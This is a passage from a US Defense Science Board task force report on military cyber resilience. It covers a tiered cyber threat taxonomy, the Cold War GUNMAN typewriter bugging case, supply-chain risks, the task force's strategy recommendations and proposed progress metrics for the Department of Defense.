DoD is to have mission resiliency in the face of all forms of failure (including espionage and attack). Thus, commanders must develop alte rnative mission plans, emergency procedures, and reinforcements and re - supply options. Similarly, for cyber system resiliency there must be alternative system plans, emergency back -up procedures, and reconfiguration/restart options. In modern warfare, effective mission resiliency requires that all systems critical to mission accomplishment be resilient. In this study, the Task Force deliberately viewed DoD as a globally networked enterprise – a complex entity of highly interconnected and interdependent components , each of which may contain embedded cyber capabilities -where failure to accomplish a mission can have far - reaching impact with potentially serious national security consequences. Because of the nature of cyber exploitation and attack, failure to protect the enterprise at any possible point of entry can expose the entire enterprise to potentially devastating results. 1.5 Report Structure This report is laid out as follows. Following this Introduction, Chapter 2 provides an explanation of the growing cyber threat to our military mission. Chapter 3 offers a comprehensive strategic approach for addressing system resiliency in the face of the ongoing cyber threat, and Chapter 4 addresses approaches to measuring progress in implementing the strategy. Chapters 5 through 10 address key aspects of the strategy, namely: e nsuring deterrence through our nuclear and conventional military strike capability, collecting intelligence on peer adversaries’ cyber capabilities, developing broader cyber offensive capabilities available to the United States, enhancing the U .S. military’s cyber defense to thwart low - and mid -tier threats, chang ing DoD ’s cyber culture to take security more seriously, and building a cyber -resilient force. Chapter 1 1 provides order of magnitude cost estimates for implementing the proposed strategy. Chapter 1 2 provides a summary of the study conclusions and recomm endations. The document concludes with a series of appendices containing ancillary, technically detailed and/ or classified information. In this study, the Task Force did not examine policies and authorities related to rules of engagement, use of cyber o ffensive capabilities, and inter -agency issues such as the protection of civilian infrastructure. These, nevertheless, are also crucial to the DoD. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 2.0 Understanding the Cyber Threat | 21 Resilient Military Systems and the Advanced Cyber Threat 2.0 Understanding the Cyber Threat U.S. military forces are critically dependent on networks and information systems to execute missions. They are thus highly vulnerable if threats to those networks and information syste ms are not sufficiently addressed. This chapter describes that threat – first, by defining it; then discussing its realization; and finally considering the impacts of this realization. 2.1 Definition of the Cyber Threat The cyber threat is characterized in terms of three classes of increasing sophistication: those practitioners who rely on others to develop the malicious code, those who can develop their own tools to exploit publically known vulnerabilities as well as discovering new vulnerabilities, and th ose who have significant resources and can dedicate them to creating vulnerabilities in systems. Th e definition adopted by the Task Force enable s a more detailed discussion of the characteristics of threat actors, mechanisms that c an be used to protect or harden cyberspace components and operations depe ndent on those components , the impacts that threat actors pose if they are successful in their malevolent behavior, and recove ry or response actions commensurate with the specific threat actions . The taxono my developed by the Task Force is summarized in Figure 2. 1 Cyber Threat Taxonomy . As shown, the threat is divided into three levels of increasing sophistication, each composed of two tiers . Figure 2. 1 Cyber Threat Taxonomy DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 2.0 Understanding the Cyber Threat | 22 Resilient Military Systems and the Advanced Cyber Threat Dollar figures specified for each tier indicate the nominal investment required to participate at the given tier. The width of the figure at the given tiers suggests the decreasing number of practitioners as one ascends the pyramid to higher tiers. There are a vast n umber of parties with Tier I and II capabilities, while only a few state actors possess Tier V and VI capabilities. Table 2. 1 provides definitions of the tiers . Tier I practitioners, using malicious code developed by others, are commonly referred to as “script kiddies” and are driven as much by the desire to brag about their success in executing an “attack” as they are to cause specific damage. Tier II actors h ave some ability to develop their own malicious code and their actions may be characterized by pursuit of specific objectives such as the theft of business or financial data. Low-tier actors can employ some very sophisticated tools and techniques develope d and exposed by others. Tier III and IV actors employ a broad range of software capabilities to penetrate cyber systems and effect exploits through Internet access. A major distinction between Tiers III and IV is scale – Tier IV is characterized by larg er, well- organized teams, either state or criminal. Tiers V and VI encompass actors who can go beyond malicious software inserted through Internet access , and instead, create vulnerabilities in otherwise well- protected systems. Tier V actors are able to insert malicious software or modified hardware into computer and network systems at various points during their lifecycle for later exploit (e.g., a “cyber time bomb”). Tier VI organizations employ full -spectrum techniques, including humans (e.g., spies e ngaged in bribery and blackmail) and close -access means (physical or electronic) to gain system penetration, and have the resources to conduct many operations concurrently. Table 2. 1 Description of Threat Tier s Tier Description I Practitioners who rely on others to develop the malicious code, delivery mechanisms, and execution strategy (use known exploits) . II Practitioners with a greater depth of experience, with the ability to develop their own tools (from publically known vulnerabilities) . III Practitioners who focus on the discovery and use of unknown malicious code, are adept at installing user and kernel mode root kits10, frequently use data mining tools, target corporate executives and key users (gover nment and industry) for the purpose of stealing personal and corporate data with the expressed purpose of selling the information to other criminal elements. IV Criminal or state actors who are organized, highly technical, proficient, well funded professionals working in teams to discover new vulnerabilities and develop exploits . V State actors who create vulnerabilities through an active program to “influence” commercial products and services during design, development or manufacturing, or with the ability to impact products while in the supply chain to enable exploitation of networks and systems of interest. 10 User mode rootkits involve system hooking in the user or application space. Whenever an application makes a system call, the execution of that system call follows a predetermined path and a Windows rootkit can hijack the system call at many points along that path. K ernel mode rootkits involve system hooking or modification in kernel space. Kernel space is generally off- limits to standard authorized (or unauthorized) users. One must have the appropriate rights in order to view or modify kernel memory. The kernel is an ideal place for system hooking because it is at the lowest level and thus, is the most reliable and robust method of system hooking. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 2.0 Understanding the Cyber Threat | 23 Resilient Military Systems and the Advanced Cyber Threat Tier Description VI States with the ability to successfully execute full spectrum ( cyber capabilities in combination with all of their military and intelligence capabilities ) operations to achieve a specific outcome in political, military, economic, etc. domains and apply at scale . Three comments about higher -tier actors should be made. First, while capable of operating at the higher levels, higher -tier actors will use the methods and techniques at the lowest level necessary to accomplish their objectives. They “hide” in the larger set of activity at lower levels to avoid exposing their more sophisticated techniques. Second, states might employ no n-state actors as proxies. In such situations, middle -tier organizations gain access to higher- tier capabilities. This is especially true in states that are not as aggressive (passionate) as the U nited States is about separating the state from commercial and social society, which then blurs distinctions that this Task Force adopted. Third, the scale at which an organization can operate is one of the major discriminators between Tiers V and VI. Operations at scale is particularly challenging at Tier VI be cause of the complexity and potentially long times required to effect an operation using full -spectrum methods. While one might argue that “most any target” could be penetrated using Tier VI methods and sufficient time, to do so is expensive and resource intensive. The discriminator of a Tier VI actor is funding, people and equipment to conduct many such operations concurrently. The following examples illustrate the threat -hierarchy tiers. Phishing, wherein malicious code is contained in an email from an unknown source, is an example of a Tier I threat. Spear- phishing, wherein malicious code is contained in an email attachment supposedly from a known party, is an example of a Tier II threat. The most sophisticated Spear -phishing attacks will impersonat e a highly trusted source (e.g. close friend, co -worker, boss, etc), and less -sophisticated attacks use broader relationships as the known source (e.g. social network, organization, etc). The recently disclosed Flame virus 11 is an example of a Tier IV threat. It is highly complex software and most likely required a well- funded professional team to develop it. The software complexity and sophistication of OPERATION BUCKSHOT YANKEE12 are those of Tier IV. Examples of a Tier V-VI threat include hardware modifications followed by insertion of the hardware into a target system. A recently declassified example of a [then] high -tier exploitation is a Soviet Union operation against the U nited States during the Cold War designated by the United States as Project GUNMAN .13 In the 1970s and early ‘ 80s, the IBM Selectric typewriter was considered an advanced electromechanical “computer” of its day. Soviet “ cyber warriors” managed to replace the comb support bar ( Figure 2. 2) of the typewriter with a device that externally looked the same but was cleverly modified to enable the transmission in plain text of 11 “Cyberattacks on Iran —Stuxnet and Flame;” New York Times; June 1, 2012 12 OPERATION BUCKSHOT YANKEE is the code name of the Pentagon's operation to counter the attack that then Deputy Secretary Lynn described in his 2010 Foreign Affairs article cited in this report’s Executive Summary 13 Maneki, Sharon; “Learning from the Enemy: The Gunman Project;” Center for Cryptologic History, National Security Agency; 2009 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 2.0 Understanding the Cyber Threat | 24 Resilient Military Systems and the Advanced Cyber Threat nearly every typed key to a nearby Soviet listening post. Between 1976 and 1984, s ixteen of these typewriters found their way into the U .S. Embassy in Moscow and the U .S. Mission in Leningrad. The level of sophistication employed by the Soviets made U .S. discovery unlikely without a tipoff from a liaison service exposed to a similar attack. Technical modifications included integrated circuit design technology never before seen by N ational Security Agency (N SA) engineers, burst transmission techniques designed to defeat U .S. technical security countermeasure equipment, and designs that employed parts of the typewriter as an antenna to transmit the information and provide power, and finally, foretelling later awareness of the field of human factors engineering, a design that allowed easy insertion and maintenance of the modified equipment. Additional non-technical exploitations included Soviet use of unfettered access permitted at customs checkpoints to insert the devices and hiding in the noise of its traditional technical esp ionage techniques. The Soviets had a longstanding proclivity to employ audio devices against the U .S. Embassy and diplomatic missions that created a U.S. mindset that assumed the Soviets only employed audio devices (e.g. the new U .S. Moscow embassy that began construction in 1979 was so riddled with implanted listening devices that the U nited States eventually rejected the building ). Even after the tipoff from the liaison service , the U .S. effort to recover the modified equipment and discover the vulnera bility required several months. Discovering the modification required an NSA team of approximately 25 engineers working six days a week and the use of X -ray techniques. Even though integrated circuits were relatively simple compared to today’s designs, t he NSA engineers initially debated whether the anomaly discovered by X- rays was caused by a Soviet modification or was caused by IBM introducing memory circuits into the Selectric. Once the location of the modification was discovered, reverse engineering took additional time and resources to discover how the device worked. Figure 2. 2 Example of a Cold -War era Tier VI C yber Exploitation DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 2.0 Understanding the Cyber Threat | 25 Resilient Military Systems and the Advanced Cyber Threat The complexity of modern integrated circuit processors makes a modern version of the GUNMAN Tier VI capability very feasible (Figure 2. 3). Removal of an integrated circuit from its packaging and replacement with a subversive die into the same package can be used to modify processor behavior under trigger conditions determined by the attacker. Figure 2. 3 A Notional Modified I ntegrated Circuit The subversive die would not affect system performance through testing qualification or operation until a triggering mechanism was activated (e.g. the reading of specific input by the chip, geographic coordinates or aircraft velocity value, or through external connectivity like software patching mechanisms). This would make it very difficult to find the compromised chip in our systems through inspection or operation - just as it was in the Gunman operation. This chip could be inserted into a specific system through surreptitious means or inserted into a larger batch of systems during “normal” manufacturing in some foreign nation. The subversive die’s effects could destroy the processor and disable the system by simply shunting power to ground, change the processor output to incorrect results for specified inputs, or allow information leakage to the attackers. To address the seriousness of the threat, DoD launched a number of supply chain initiatives, including the Trusted Foundry Program in 2004 to help ensure the integrity of hardware and software components in its critical systems. 2.2 Impact of the Cyber Threat Many factors make modern computing and networking systems vulnerable to the above threats – for example:  The original Internet design precepts that presumed trusted users, and promised a high degree of user anonymity, yielded an inherently vulnerable system with barriers to attribution DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 2.0 Understanding the Cyber Threat | 26 Resilient Military Systems and the Advanced Cyber Threat  The complexity of modern software and hardware makes it difficult, if not impossible to develo p components without flaws or to detect malicious insertions  Many building blocks are created and maintained by third- party sources (e.g. open -source)  The widespread use of commercial software and hardware (COTS) produced for markets that have low conce rns about security  The offshore development of software and hardware by parties of unknown trust Figure 2.4 and Figure 2.5 illustrate the complexity issue. The source lines of code (SLOC) of com mercial operating systems have grown to nearly 50 million. Government programs depict simil ar growth tre nds over several decades .14,15 On the hardware side, complex integrated circuits n ow have over 2 billion transistors . It is impossible to comprehensively test such software (anyb ody who uses a software product is very familiar with the concept of software u pdates) and har dware products (the Pentium floating point flaw discovered in 1994 shortly after the processor went to market is an example) completely for vulnerabilities.16 Attempting to fully test systems of these complexities would take years per operating system or device using state of the art eq uipment. In addition , the design, development and production processes are highly automated and dispersed, relying on libraries for hardware functions and source code. Figure 2. 4 Commercial Operating System SLOC G rowth 14 Flight Software Complexity ( https://acc.dau.mil/adl/en -US/.../FlightSoftwareComplexityBriefing_v5.ppt ) 15 DSB Task Force o n Defense Software, November 2000; (Figure 3.4a) 16 Pan, Jiantao; “Software Testing;” Carnegie Mellon University; Spring, 1999 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 2.0 Understanding the Cyber Threat | 27 Resilient Military Systems and the Advanced Cyber Threat Figure 2. 5 Representative Growth in H ardware Complexity The realization and exploitation of vulnerabilities is clearly and abundantly illustrated in reports by the government and private security firms, and in the public press.17, 18, 19, 20 The loss of U .S. intellectual property through cyber exploits has been estimated to be in the hundreds of millions of dollars, if not billions.21 The vulnerability of the supervisory control and data acquisition (SCADA) systems controlling public utilities has been demonstrated22,23,24 raising wide -spread concern that the Internet connectivity of these systems could lead to significant disruption of utility services (especially electricity) by malicious parties. Criminal organizations routinely substitute altered devices (e.g. fake ATMs and card readers) to intercept transaction data. 17 DoD Strategy for Operating in Cyber Space, July 2011 18 Statement of General Keith Alexander, Commander USCYBERCOM, before the Senate Committee on Armed Services, March 27, 2012 19 AFP; Sophisticated cyber thieves behind Epsilon attack, April 6, 2011 20 Wall Street Journal; Hackers Broaden Their Attacks 21 Dowdy, John; “The Cybersecurity Threat to US Growth and Prosperity;” McKinsey & Company; 2011 22 Industrial Control Systems Alert : MOXA Device Manager Buffer Overflow; ICSA -10-301- 01; October 28, 2010 23Industrial Control Systems Alert: SPECVIEW Directory Traversal; ICSA -12-214- 01; August 1, 2012 24 Industrial Control Systems Alert: Increasing Threat to Industrial Control Systems; ICSA -12-046-01; February 15, 2012 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 2.0 Understanding the Cyber Threat | 28 Resilient Military Systems and the Advanced Cyber Threat Of particular concern to this Task Force is the theft of data from the government and defens e contractors. Another manifestation of potential threat actions receiving high -level DoD attention is seen in U.S. military exercises.25 DoD red teams invariably penetrate DoD networks using Tier I and II threats. Such penetrations could seriously impede the operation of U .S. forces by degrading network connectivity, corrupting data, and gaining intelligence. Cleary, if U .S. red teams achieve adverse effects using lower level techniques, a sophisticated adversary could achieve even greater effects. 2.3 Consequences of and Reaction to the Threat The accomplishment of U .S. military missions is critically dependent on networks and information systems. The threats described in the previous section may impose severe consequences for U .S. forces engaged in combat:  Degradation or severing of communication links critical to the operation of U .S. forces, thereby denying the receipt of command directions and sensor data  Data manipulation or corruption may cause misdirected U .S. operations and lead to lack of trust of all information  Weapons and weapon systems may fail to operate as intended, to include operating in ways harmful to U .S. forces  Potential d estruction of U .S. systems (e.g. crashing a plane, satellite, unmanned aerial vehicles, etc.) . At the na tional level, one could posit a large -scale attack on the U .S. critical infrastructure (e.g., power, water, or financial systems). An attack of sufficient size could impose gradual wide - scale loss of life and control of the country and produce existential consequence s. For such an attack to occur there must be an adversary with both the capability and intent to conduct the attack. A prudent course of action demands that the U nited States prepare for the possibility of such an attack given the uncertainti es about how the future will evolve. Given the severe consequences of the threat, the issue now is how to mitigate it, which is the subject of much of the remainder of this report. 25 Director of Test and Evaluation 2011 Annual Report DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 3.0 Defining Resilience Strategy for DoD Systems | 29 Resilient Military Systems and the Advanced Cyber Threat 3.0 Defining a Resilience Strategy for DoD Systems To address the broad level of threats with a unified strategy , it was necessary to think through the threa t, vulnerabilities , and consequences associated with these potential attacks. Figure 3. 1 describes how the Task Force thought through this challenge. Risk is a function of the threat, the vulnerabilities of the systems to be protected, and consequences of compromise of the system s. The threat broke into two categories : intent of the adversary and their capabilities. Vulnerabilities are described as either inherent or operationally introduced and consequences , either fixable or fatal to the impacted systems . Figure 3. 1 Risk Management Parameters It is important to understand that the Task Force could not discover a credible mechanism to reduce the value of any of the three parameters ( Figure 3.1 ), alone or in conjunction with the other parameters, to zero. Therefore, the threat, vulnerability and consequence parameters cannot be managed in isolation. A systems solution is required. Today much of DoD’s money and effort are spent trying to defend against just the inherent vulnerabilities which exist in all complex systems. Defense only is a failed strategy. DARPA produced Figure 3. 2 that shows the growing gap between defensive and offensive software size. T he complexity of the software defending our networks continues to increase exponentially over time due to increased complexity of the systems they attempt to protect, yet the size of software code used for the average successful attack remains nearly constant . This challenge is as old as the ages: the defense must protect against all possible offenses and the offense can mass all its re sources against the weakest point of the defense. To address cyber risk , DoD need s a balanced approach across all three major parameters. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 3.0 Defining Resilience Strategy for DoD Systems | 30 Resilient Military Systems and the Advanced Cyber Threat Figure 3. 2 Graphic Illustration of the Complexity of Software Required to Defend and A ttack o ur Systems. Very Small Changes (Even Single Bits) Can Cause Major Impacts to the O peration of a System There is no single silver bullet to solve the threat posed by cyber -attack or warfare. Solving this problem is analogous to previous complex nati onal security and military strategy developments including counter U -boat strategy in WWII, n uclear deterrence in the Cold War , commercial air travel safety and c ounter ing IEDs in the G lobal War on Terrorism. The risks involved with these challenges were never driven to zero, but through broad systems engineering of a spectrum of techniques , the challenges were successfully contained and managed. There are several characteristics of the cyber challenge that collectively thwart our attempts to discover a closed -form solution to this national security issue. First, DoD’s comprehensive dependence on this vulnerable technology is a magnet to U .S. opponents. DoD’s dependency is not going to be reduced and will continue to grow. Thus, the adversary is not g oing away and their attraction to this weakness will increase. This adversarial persistence yields a never - ending challenge . Secondly, there are no technical approaches that will comprehensively protect DoD against a determined adversary. DoD’s dilige nt work over decades attempting to drive inherent vulnerability out of these systems and components has resulted in some progress, although DoD has barely begun to address the daunting problem of operationally introduced vulnerabilities into systems which is compounded by the large dependence on the global supply chain. In the face of the evolving cyber threat, DoD must recognize the limits to vulnerability reduction and the effectiveness of protection mechanisms and move to employ the threshold of “good e nough ” and work to reduce overall risk by managing all three risk parameters from a systems perspective. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 3.0 Defining Resilience Strategy for DoD Systems | 31 Resilient Military Systems and the Advanced Cyber Threat Third, while there are many tests to demonstrate the vulnerability or weakness in a system, there will never be a test that demonstrates or proves the security of a system . This fact reinforces the need to seek “good enough” and the enduring existence of residual uncertainty. Finally, because the opponent’s advantage in exploiting/compromising /attacking DoD’s information technology is substantial (game -changing), they will be highly motivated in their pursuit, innovative in their approach, and adaptive to U .S. strategy. The adversary gets a vote and this brings us back to the never -ending challenge. (However, they have many of the same risks to t heir systems) . The combination of these factors forces the U nited States to manage risk in this domain through a balanced systems approach. This Task Force finds that without an urgently implemented and comprehensive strategy to offset th e cyber security threat , U.S. national objectives will be nearly impossible to achieve in times of crisis . Additionally , the long term loss of so much intellectual property and capability will result in a serious competitive disadvantage to the U .S. econom y. Key findings of the study include:  The cyber threat is serious, with potential consequences similar in some ways to the nuclear threat of the Cold War  The cyber threat is also insidious allowing adversaries to access vast new channels of intelligen ce about critical U .S. enablers (operational and technical; military and industrial) that can threaten our national and economic security  Current DoD actions, though numerous, are fragmented. Thus , DoD is not prepared to defend against this threat  DoD red teams, using cyber attack tools , which can be downloaded from the Internet, are very successful at defeating our systems  U.S. networks are built on inherently insecure architectures with increasing use of foreign -built components  U.S. intelligence against peer threats targeting DoD systems is inadequate  With present capabilities and technology , it is not possible to defend with confidence against the most sophisticated cyber attacks  It will take years for the Department to build an e ffective response to the cyber threat to include elements of deterrence, mission assurance and offensive cyber capabilities. The Task Force developed a set of recommendations that, when taken in whole, create a strategy for DoD to address this broad and pervasive threat to improve the resilience of DoD systems. Cyber is a complicated domain and must be managed across threat vectors to successfully address the challenges it presents . The cyber risk elements cannot be reduced to zero. While the problem canno t be eliminated, resilience capabilities can and must be DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 3.0 Defining Resilience Strategy for DoD Systems | 32 Resilient Military Systems and the Advanced Cyber Threat determinedly managed by the Department. C yber risk can be managed through the combination of deterrence (up to a nuclear response in the most extreme case) and improved cyber defense. This strategy removes the requirement to protect all of military systems from the most advanced cyber threats, which the Task Force believes is neither feasible nor affordable. It will take time to build the capabilities necessary to prepare and protect our country from the cyber threat. We must start now! 3.1 Cyber Strategy for DoD The following is the Task Force’s recommended strategic approach to improving the resilience of DoD systems. The Task Force believes that these actions are in support of the published DoD Cybe r Strategy. 26  Deter the Tier V -VI threat (raise confidence level that selected systems are protected from cyber attack and therefore available for deterrence) o Protect Nuclear Deterrent o Protect C2 and C ontinuity Of Government (separation of networks, war reserves) o Ensure some conventional strike and cyber attack capabilities to support escalation ladder (for theater operations as well)  Minimize the impacts of Tier I -IV threats o Incrementally raise defenses  Instrument networks for intrusion detection and to provide situational awareness  Improve DoD cyber culture and personal responsibilities  Enforce universal practice of good hygiene o Evolve cyber requirements into DoD acquisition and support systems  Improve critical capabilities important for both o Refocus intelligence collection to understand adversary cyber plans and intentions, and to enable counter strategies o Build a world -class cyber offensive capability with well- defined authorities and rules o Continue ongoing DoD efforts to develop secure system design and development capabilities, and to improve the security of the cyber supply chain 26 See classified (SECRET) version of the May 2011 document titled: Department of Defense Strategy for Operating in Cyberspace DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 3.0 Defining Resilience Strategy for DoD Systems | 33 Resilient Military Systems and the Advanced Cyber Threat 3.2 Table of Recommendation s Table 3. 1 Table of Recommendations. Description of Recommendations 1. Protect the Nuclear Strike as a Deterrent (for existing nuclear armed states and existential cyber attack). 2. Determine the Mix of Cyber, Protected -Conventional, and Nuclear Capabilities Necessary for Assured Operation in the Face of a Full- Spectrum Adver sary. 3. Refocus Intelligence Collection and Analysis to Understand Adversarial Cyber Capabilities, Plans and Intentions, and to Enable Counterstrategies. 4. Build and Maintain World -Class Cyber Offensive Capabilities (with appropriate authorities). 5. Enhance Defenses to Protect Against Low and Mid -Tier Threats. 6. Change DoD’s Culture Regarding Cyber and Cyber Security. 7. Build a Cyber Resilient Force. The Task Force anticipates that the implementation of the recommendations in Table 3.1 will be an ongoing effo rt, and establishing measures is an important step toward executing them. Without such tools, it will be difficult to tell whether or not progress is being made. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 4.0 Me asuring Progress| 34 Resilient Military Systems and the Advanced Cyber Threat 4.0 Measuring Progress The Task Force attempted to define metrics that the Department could use to ultimately manage and shape cyber investments. Me asures (used interchangeably with metrics for the contents of this report) are a critical part of any organization or business operation. They form a set of tools by which management determines and communicates the organization’s highest priorities to the organization's employees. When done well, metrics act as an alignment tool in driving lower levels of an organization to make decisions consistent with strategies of their leaders. Moreover, the metrics become a mechanism to provide benchmarking, drive continuous improvement , and ensure sharing of best practices throughout an organization. Develop ing a set of cyber measures , which can be used across the D epartment to allow quantitative comparison s between options when making cyber (IT) investments and drive operational practices , is critical to increasing cyber resilience . The Task Force set out to ascertain if useful metrics were currently available to determine or predict the cyber security or resilience of a given system. After several months of researching best practices of cyber metrics in commercial, academia and government spaces, the Task Force determined that no metrics are currently available to directly determine or predict the cyber se curity or resilience of a given system. M easures to predict cyber system resilience are difficult to create , due to the potential for small changes to cause discontinuous effects . A few critical bits manipulated in a weapon fire control system can render that weapon ineffectual . Millions of bits changed in a less critical portion of software may have only limited effect on the system. Even knowing if a system is compromised is very difficult. Often, when successful network exploit s are identified, forensic analysis later shows the exploit lay undiscovered in the system for a year or more. While difficult to measure cyber resiliency directly, the Task Force did find measures that could be implemented to improve the Department’s defense posture and ther efore indirectly improve its cyber resilience. To implement these measures however, the Department will have to develop common language and definitions, collection methods, and tools for collating data across the enterprise, and then use those results to d rive decisions concerning future operations and personnel performance. This information will form the foundation for an education program that must be spread across the entire enterprise , to establish a common understanding . As experience is gained with th ese measures, and as more people understand the objectives and techniques, the metrics will evolve to become even more useful for the Department, providing a basis for measuring the effectiveness of future investments. In a perfect world, DoD operational systems would be able to tell a commander when and if they were compromised, whether the system is still usable in full or degraded mode, identify alternatives to aid the commander in completing the mission, and finally , provide the ability to restore the system to a known, trusted state. Today’s technology does not allow that level of fidelity and understanding of systems. When properly constructed, measures can guide design implementations and day -to-day operations to potentially fulfill thes e system goals at some DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 4.0 Me asuring Progress| 35 Resilient Military Systems and the Advanced Cyber Threat point in the future. Ultimately, a useful set of measures will help DoD leadership understand if they have prepared the Department to engage competitively in a conflict where cyber is a major component. Measures must be chosen care fully. They must be leadership -owned and driven from the top. The most successful organizations implement a few carefully chosen metrics that balance between desired outcome, quality and delivery speed. There is an old saying that “ you will get what you m easure ”. As management puts its full force behind a strategy supported by a set of measures, their personnel will do what it takes to succeed at those measures, sometimes regardless of the end goal. Therefore, DoD management cannot treat cyber resilience measures as a fire and forget weapon. The cultural aspects of metrics can be frightening to an organization embarking on this new path. Poor performance that may have been masked in the past could now be exposed. Management’s tone on how performance issues are handled will determine whether organizations within the Department provide the minimum data required and attempt to hide from the spotlight, or see the measures as an opportunity to learn fr om others and improve performance at a faster rate. Ultimately, consistent and continuous improvement is much more important in the long run than the performance levels established at first baseline – good or bad. This Task Force defined an initial usefu l set of measures, based on collectable data that the Department could use to start down this path. It should be understood that to be successful, DoD leadership must take ownership and evolve this list into one of their own, to align the Department around a common strategy and set of agreed- upon measures. As experience is gained, the metrics will evolve. Building a culture of measurement used to drive continuous improvement and influence future designs and operations is a critical part of the process. Bu ilding a culture supporting measurement may seem like a trivial action, but from an historical and cultural perspective, this would be very new to the DoD. Commercial organizations regularly use metrics to drive their strategies through their businesses, but it is nevertheless difficult to get initial metrics in place and operating. Establishing metrics should be an iterative process. Over time, and with consistent attention, the alignment of the organization to productive metrics provides great value and consistency in operations. The Task Force has developed two proposed metric panels; the first identifies the establishment of metric collection systems to implement Task Force recommendations, and the second defines performance measures that can be used once the systems are in place to give the Department an understanding of its cyber readiness. The goal is to offer the Secretary and his/her staff a couple of relatively simple charts that can be publicized and reviewed on a regular basis to track progress. 4.1 Metric Collection System s The Task Force created a notional metric collection system dashboard to monitor progress of strategy implementation. Before performance measures can be effectively implemented across the Department, collection systems must be p ut in place . The creation of a metric collection system provid es a common language, definitions and standards to allow different organizations DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 4.0 Me asuring Progress| 36 Resilient Military Systems and the Advanced Cyber Threat in the enterprise to effectively communicate. In addition , the collection system deve lops reporting, tracking, analysis and display mechanisms for the collected data , to be useful to both Department leadership and managers closer to the front lines. This dashboard is a simple stoplight- chart measuring whether the building blocks required to implement the recommendations in this report are in place, useful, and effective. N ote that Figure 4. 1 does not represent a detailed DSB assessment of the current DoD status, but provides an illustration of how this tool can be used to drive improvement. The concept is to input data collected from relevant portions of the DoD and aggregate into a single block for each action. The ability to "click ” on a block and view the background data on which it was based would allow front line supervisors to understand their performance relative to their peers and allow senior leaders to delve into problem areas and ensure adequate resources and attention are provided to improve performance. Figure 4. 1 Notional Cyber Dashboard for Secretary – Metric Collection S ystem s The blocks build o n each major recommendation area from bottom (the simplest actions) to the top (most complex actions), leading to a maturity -level of accomplishment measure in building the required systems. As the systems come online, the next section outl ines performance metrics that can be collected to drive system performance. The metric collection system for each major recommendation area is crucial. For example, under the general area of defense/cyber hygiene, the metric collection system starts with developing a defined Department Enterprise Architecture. Creating a defined Enterprise DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 4.0 Me asuring Progress| 37 Resilient Military Systems and the Advanced Cyber Threat Architecture must drive common definitions of security posture and terms. In addition, the metric collection system devoted to Enterprise Architecture must identify reporting and tracking mechanisms that provide leadership the ability to monitor progress toward the intended goal. These mechanisms need not be complicated (e.g. a simple spread sheet will suffice). The next task require s developing a collection system to measure Regular Network Audits. The collection system must create common language as to what an audit is, how the Enterprise Standard will be audited, and the supporting reporting system (e.g. how often will audits be conducted and on what parts of the network etc). The objective of the audit collection system is to enable the Department to determine whether or not audits are conducted against defined sta ndards. Auditing to standard language and terminologies will allow the Department to make comparisons between networks as data is collected. The next collection system build s off the lower blocks. Once a common enterprise is developed and audits can be conducted, a collection system to measure status of each network must be created . The collection system needs common terminology encompassing definitions of network and status followed by a reporting mechanism. This provides the foundation for an automat ed patch management collection system and finally , a metric collection system devoted to Automated Intrusion Detection —to identify how long it takes to find and remove successful intrusions into the network . Other recommendation areas build similar metric collection system s. A deterrent collection system focuses on defining planning factors that include a cyber component for both strategic nuclear delivery platforms and NC3 (e.g. extension of the current US STRATCOM planning factors to reflect cyber) and also applied to identification and segmentation of protected conventional capability for assured operation in a contested cyber environment. An intelligence collection system defines and builds out a focal collection point to enable sharing of information between the many communities affected by cyber. A cyber offense collection system should first define training and certification requirements which then will be used to build out a career path capable of providing the U nited States with offensive dominance. Developing a culture collection system starts with a cyber security policy articulated throughout DoD with clearly defined responsibilities and accountability standards. Finally , the cyber requirements collection system should focus on developing re search and also on the development of a standard to address desired cyber resiliency features (e.g. the ability to maintain or return to a known trusted state, network and component awareness, etc) and then to track the incorporation of the standard into r equirements and acquisition programs (acquisition category ( ACAT ) 1 programs first) . 4.2 System Performance Metrics Once collection systems are in place to execute the cyber strategy, the Department can begin collecting performance metrics. To jump to the end (outcome) metrics without the common enterprise standards, audit definitions, and an understanding of what the metrics mean, would generate little value. As an example, immediately gathering the number of cyber violations might appear t o provide an indication of personnel compliance. However, if a cyber violation in organization A is not defined the same as a cyber violation in organization B then little is gained from such activity. Ultimately, the Department desires to measure outcomes, such as the DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 4.0 Me asuring Progress| 38 Resilient Military Systems and the Advanced Cyber Threat average time it takes to detect a successful attack that breaches the network perimeter defenses, and the amount of time it takes to recover a system that is lost as a result of a cyber attack. Figure 4. 2 Notional Dashboard of System P erformance Metrics The Task Force estimates that within two years of gathering data, the DoD would have an experience base with the proposed metrics that would begin to allow comparisons of architectures, networks, and system elements for their contribution to cyber resilience and cost to operate. That data would provide DoD insight to inform predictions of performance of various architectures and elements versus available budgets. The initial set of performance metrics should be kept small until sufficient enterprise experience is established to exercise quantitative assessment of progress. Once an initial set of performance metrics start to identify progress, additional performance metrics may be created. For example, an in itial set of performance metrics addressing cyber culture simply measure the number of violations and personnel actions. Once the collection system is capable of accurately capturing this information, follow on performance metrics could be built to measure training responsiveness to new or specific attack vectors or measure training effectiveness by DEFENSE SCIENCE BOARD | DEPARTMENT OF 